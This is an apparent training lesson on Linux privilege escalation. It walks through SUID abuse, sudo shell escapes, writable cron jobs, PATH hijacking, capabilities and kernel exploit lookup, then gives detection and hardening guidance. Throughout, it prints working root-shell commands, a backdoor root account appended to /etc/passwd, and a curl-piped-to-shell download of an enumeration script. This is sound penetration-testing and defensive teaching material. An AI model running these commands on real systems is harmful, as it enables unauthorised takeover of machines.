Master the complete Linux privilege escalation methodology — SUID abuse, sudo misconfigurations, writable cron jobs, PATH hijacking, capabilities, weak file permissions, and kernel exploits — with the enumeration discipline that finds the specific path on any given system.
Privilege Escalation on Linux
Privilege escalation is the process of gaining higher-level permissions than initially obtained. In Linux, the goal is typically to escalate from a low-privilege user account to root (UID 0) — which provides full control of the system, including reading any file, modifying any configuration, and installing persistent access mechanisms.
After gaining initial access — via a web shell, a cracked SSH credential, or exploitation of a service — a penetration tester almost always has limited permissions. The web server process may run as www-data. A cracked SSH account may belong to a restricted user. Privilege escalation transforms that constrained foothold into full system compromise, which is typically required to achieve the engagement's objectives: accessing sensitive data, pivoting further into the network, or demonstrating business impact.
Why Linux Privilege Escalation Exploits Misconfigurations, Not Just Bugs
Unlike Windows, where many privilege escalation paths exploit design properties of the OS itself (token impersonation, SeImpersonatePrivilege, named pipe abuse), Linux privilege escalation is predominantly the exploitation of configuration errors — things that an administrator made a choice to do, usually for convenience, that inadvertently introduced a root path. This means that Linux privesc techniques are highly environment-specific: the same technique that works on one server is completely irrelevant on the next if the configuration differs.
This environment-specificity is both the challenge and the point of the discipline. It forces genuine understanding: you cannot reliably escalate privileges on Linux by running a script and waiting. You need to understand what each potential path means, why it exists, and how to confirm it before attempting exploitation.
Imagine you've been let into a large company building as a visitor — you have a visitor badge that lets you enter the lobby and use the meeting rooms, but most of the offices are locked. Privilege escalation is the process of finding your way to a master key. In a well-configured building, you simply cannot — every door requires the right badge. But in practice, someone left a spare master key in the unlocked stationery cupboard because it was convenient. The cleaner's trolley has a key-card that opens the server room attached to it because IT found it easier than making a separate card. The maintenance panel is accessible with a universal key that the manufacturer never required changing. Privilege escalation is finding whichever of these convenient shortcuts was left in place — and they exist in almost every organisation, because nobody is perfect at securing every corner of a complex system.
Common Escalation Vectors
Linux privilege escalation exploits misconfigurations across several categories. The most common vectors are: SUID/GUID binaries, sudo misconfigurations, writable cron jobs, weak file permissions, PATH hijacking, Linux capabilities, and kernel exploits. Understanding each category — what it is, why it creates a root path, and how to find it — is the foundation of the discipline.
id && whoami # who are we, what groups? uname -a # kernel version for exploit lookup cat /etc/os-release # distro and version sudo -l # what can we run as sudo? find / -perm -4000 -type f 2>/dev/null # SUID binaries find / -perm -2000 -type f 2>/dev/null # SGID binaries cat /etc/crontab && ls /etc/cron.* # scheduled tasks cat /etc/passwd | grep -v nologin # real user accounts getcap -r / 2>/dev/null # Linux capabilities on binaries env # environment variables (may contain credentials) find / -writable -type f 2>/dev/null | grep -v proc # writable files
Escalation Techniques in Practice
SUID (Set User ID) binaries run as their owner regardless of who executes them. If a SUID root binary can be coerced into executing a shell or running arbitrary commands, those commands run as root.
find / -perm -4000 -type f 2>/dev/null /usr/bin/find ← SUID set on find? Check GTFOBins # GTFOBins shows: find with SUID can spawn a shell find . -exec /bin/sh -p \; -quit # whoami root
Sudo rules that allow running specific binaries as root can be abused when those binaries have shell escape capabilities — allowing the operator to break out of the restricted context into a root shell.
sudo -l User www-data may run the following commands: (root) NOPASSWD: /usr/bin/vim # GTFOBins vim sudo escape: sudo vim -c ':!/bin/bash' root@server:~#
If a cron job runs as root and calls a script that is writable by our current user, we can insert a command that executes with root privileges on the next cron cycle.
cat /etc/crontab * * * * * root /opt/cleanup.sh ls -la /opt/cleanup.sh -rwxrwxrw- 1 root root cleanup.sh ← world-writable! echo "chmod +s /bin/bash" >> /opt/cleanup.sh # Wait up to 60 seconds for cron to execute... bash -p bash-5.1# whoami root
LinPEAS automates the enumeration process and highlights potential escalation paths in colour-coded output — an essential tool for rapid triage of a new system.
# Download and execute LinPEAS on target: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # Priority sections in LinPEAS output (red = most likely paths): ╔══════════╣ SUID ← non-standard SUID binaries highlighted ╔══════════╣ Sudo ← sudo rules for current user ╔══════════╣ Cron ← scheduled tasks and their file permissions ╔══════════╣ Writable ← files writable by current user ╔══════════╣ Capabilities← Linux capabilities on binaries
What You Need to Know
Understanding SUID — Mechanism and Exploitation
The SUID bit is a Unix permission mechanism with a legitimate purpose: it allows unprivileged users to run specific programs that need elevated privileges for a limited task. The canonical example is passwd — an ordinary user needs to be able to change their own password, which requires writing to /etc/shadow, a root-owned file. Rather than making the user root to run passwd, the SUID bit on /usr/bin/passwd means the process runs as root only for the duration of the password change.
The problem arises when the SUID bit is set on binaries that were not designed with this privilege elevation in mind, or when administrators set it carelessly for convenience. Any binary that can execute shell commands, spawn child processes, or write to arbitrary files becomes a root escalation path when SUID root is set on it.
Reading the SUID Bit in File Permissions
# ls -la output for a SUID binary: -rwsr-xr-x 1 root root /usr/bin/passwd # Position breakdown: - = regular file (d=dir, l=link) rws = owner read/write/EXECUTE AS OWNER (s = suid + execute) r-x = group read/execute r-x = others read/execute # The 's' in the owner execute position = SUID bit set # If it were 'S' (capital), SUID is set but execute is NOT -- misconfiguration # Find ALL SUID root binaries efficiently: find / -user root -perm -4000 -type f 2>/dev/null # Compare against expected SUID binaries on a clean system: # Expected: passwd, sudo, su, ping, mount, umount, newgrp, gpasswd # Unexpected: find, vim, python, perl, bash, cp, awk, nmap → escalation path
Python and Bash with SUID root set are among the most immediately exploitable misconfigurations — they provide direct root shell access in a single command.
--- Python SUID --- find / -perm -4000 2>/dev/null | grep python /usr/bin/python3.8 python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")' root@server:~# --- Bash SUID (-p flag honours effective UID) --- find / -perm -4000 2>/dev/null | grep bash /usr/bin/bash bash -p bash-5.1# whoami root --- cp SUID (copy any file as root) --- ls -la /usr/bin/cp -rwsr-xr-x 1 root root /usr/bin/cp # Copy /etc/passwd to /tmp, add root user line, copy back: cp /etc/passwd /tmp/passwd.bak echo 'pwned::0:0::/root:/bin/bash' >> /tmp/passwd.bak cp /tmp/passwd.bak /etc/passwd su pwned root@server:~#
Sudo — Intended Delegation Gone Wrong
Sudo (superuser do) is designed to give specific users the ability to run specific commands as root without giving them the root password. A well-configured sudoers file grants exactly the permissions needed and nothing more. In practice, administrators frequently make grants that are broader than intended — either because they didn't understand the implications, or because they needed to solve an immediate problem quickly and didn't revisit the configuration afterwards.
The Sudoers File — Reading and Exploiting Rules
# Format: WHO WHERE=(AS_WHOM) WHAT www-data ALL=(root) NOPASSWD: /usr/bin/vim # Breaking this down: www-data = the user this rule applies to ALL = from any host (always ALL in single-server context) (root) = can run the command as root NOPASSWD = no password required (most dangerous — unattended escalation) /usr/bin/vim = the specific binary permitted # Common dangerous sudo grants and their GTFOBins escapes: vim/nano/less → shell escape within the editor (:!/bin/bash or !bash) find → -exec /bin/sh \; -quit python/perl/ruby → exec('/bin/bash') or os.system('/bin/bash') awk/sed → BEGIN{system("/bin/bash")} (awk) tar → --checkpoint-action=exec=/bin/bash env → sudo env /bin/bash (directly spawns root shell) bash/sh → trivially: sudo bash → immediate root shell
Sudo rules that use wildcards in the allowed command path are frequently exploitable — the wildcard matches file paths the administrator didn't intend to permit.
sudo -l User backup may run the following commands: (root) NOPASSWD: /usr/bin/rsync /backup/* /remote/ # The wildcard after /backup/ allows additional rsync flags to be injected. # rsync supports --rsh= which executes a command instead of a remote shell: sudo rsync /backup/x --rsh='sh -c "sh 0<&2 1>&2"' x:x root@server:~# # Why: the shell expands the wildcard before sudo validates the path, # so sudo sees a valid /backup/... path but the injected flags execute # arbitrary commands with the rsync process running as root.
PATH Hijacking and Linux Capabilities
PATH Hijacking — Replacing Commands in the Search Path
When a SUID binary or a root-executed script calls another program by name without an absolute path (writing ls rather than /usr/bin/ls), the shell resolves the name by searching the directories listed in the PATH environment variable in order. If an attacker can insert a directory they control earlier in the PATH, they can place a malicious script with the same name that executes instead of the real binary.
A SUID root script that calls service apache2 start without an absolute path for service is vulnerable to PATH hijacking — we can make a fake service binary that runs anything we choose as root.
# Target: /usr/local/bin/restart-web (SUID root, calls 'service' relatively) strings /usr/local/bin/restart-web service apache2 start ← no absolute path! # Create malicious 'service' binary in /tmp: echo '#!/bin/bash\nchmod +s /bin/bash' > /tmp/service chmod +x /tmp/service # Prepend /tmp to PATH and run the SUID binary: export PATH=/tmp:$PATH /usr/local/bin/restart-web # Our fake 'service' ran as root, setting SUID on bash: bash -p bash-5.1# whoami → root
Linux Capabilities — Fine-Grained Privilege Without SUID
Linux capabilities are a granular privilege system that allows specific root-level abilities to be granted to a binary or process without giving it full root access. Instead of the blunt instrument of SUID root (all root powers), capabilities grant specific permissions — CAP_NET_ADMIN for network configuration, CAP_SYS_PTRACE for process debugging, CAP_DAC_OVERRIDE for bypassing file permission checks.
From an attacker's perspective, certain capabilities are equivalent to full root for privilege escalation purposes. CAP_SETUID — the capability to change the process's UID — is directly exploitable. CAP_DAC_OVERRIDE — bypass all file read/write/execute permission checks — allows reading /etc/shadow or overwriting system files. Any binary with these capabilities and world-executable permissions is an escalation path.
CAP_SETUID on a Python binary allows directly calling os.setuid(0) to become root — equivalent to SUID without the bit being set in ls -la output, which is why capabilities are a commonly missed escalation path.
# Enumerate capabilities on all binaries: getcap -r / 2>/dev/null /usr/bin/python3.8 = cap_setuid+ep # cap_setuid+ep means: # cap_setuid = can call setuid() # +ep = effective (active immediately) + permitted (available to use) python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")' root@server:~# # Note: this binary shows NOTHING special in ls -la output # Standard ls shows -rwxr-xr-x with NO SUID bit visible # Only getcap reveals the capability — easy to miss in manual enumeration
Kernel Exploits — The Last Resort
Kernel exploits should be the last resort in a privilege escalation methodology, not the first attempt. They are operating-system-level vulnerabilities — bugs in the Linux kernel itself rather than misconfigurations — and they carry significant risks: a failed kernel exploit can crash the system entirely, potentially causing data loss and taking the target offline. In professional engagements, kernel exploitation requires explicit client authorisation because of this stability risk.
That said, kernel exploits are highly relevant in two contexts: CTF-style lab environments where system stability is less critical, and real-world scenarios where a system has been neglected for years and the kernel version predates several major public vulnerabilities. Understanding how to identify vulnerable kernel versions and find relevant exploits is a core enumeration skill even if you never run them in production.
Identifying the kernel version and cross-referencing it against known public exploits is a standard enumeration step. The decision to actually exploit requires additional consideration of stability risk and scope.
uname -r 4.4.0-116-generic # This kernel is old — search for known vulnerabilities: searchsploit linux kernel 4.4.0 Linux Kernel < 4.13.9 - Local Privilege Escalation | linux/local/45010.c Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free | linux/local/41458.c # Alternatively, use linux-exploit-suggester for automated matching: ./linux-exploit-suggester.sh --uname "4.4.0-116-generic" [+] [CVE-2017-16995] eBPF_verifier - Highly Probable [+] [CVE-2016-8655] chocobo_root - Probable # Before attempting: confirm exploit compiles, test in lab first, # get explicit client sign-off on stability risk for production systems.
Detection and Hardening — The Blue Team View
Every privilege escalation technique has corresponding defensive controls and detection signals. Understanding these is essential for defenders designing hardened Linux environments and for pentesters who need to understand why a path might not work on a well-configured system.
SUID misuse: Non-standard binary has SUID root set, exploited via GTFOBins technique to spawn root shell.
Sudo shell escape: Permitted binary with shell escape capability invoked via sudo to break into root context.
Writable cron script: Root cron job executes attacker-modified script, privilege code runs on schedule.
Capabilities abuse: cap_setuid on interpreter directly calls setuid(0) without triggering SUID detection.
SUID audit: Maintain a baseline of expected SUID binaries. Alert on any new SUID binary appearing. Remove SUID from all non-essential binaries. chmod u-s /usr/bin/find.
Sudo hardening: Use NOEXEC flag to prevent binaries from spawning child processes. Avoid granting sudo on interpreters and editors. Regularly audit sudoers.
Cron permissions: Cron scripts owned and writable only by root. Monitor for permission changes with file integrity monitoring (AIDE, Tripwire).
Capabilities audit: getcap -r / as part of hardening baseline. Remove unnecessary capabilities. setcap -r /path/to/binary.
sudo executions by service accounts (auditd Event type=EXECVE with sudo in command chain), setuid system calls from unusual processes (auditd syscall=105), new SUID files appearing (auditd watch on filesystem with -p wa), and process tree anomalies like a web server process spawning /bin/bash. These signals are high-fidelity when combined with a baseline of normal behaviour.Core Concepts Summary
You've covered the theory. Now apply it hands-on in the simulated environment.
Start Lab — Linux Privesc→← Return to all labs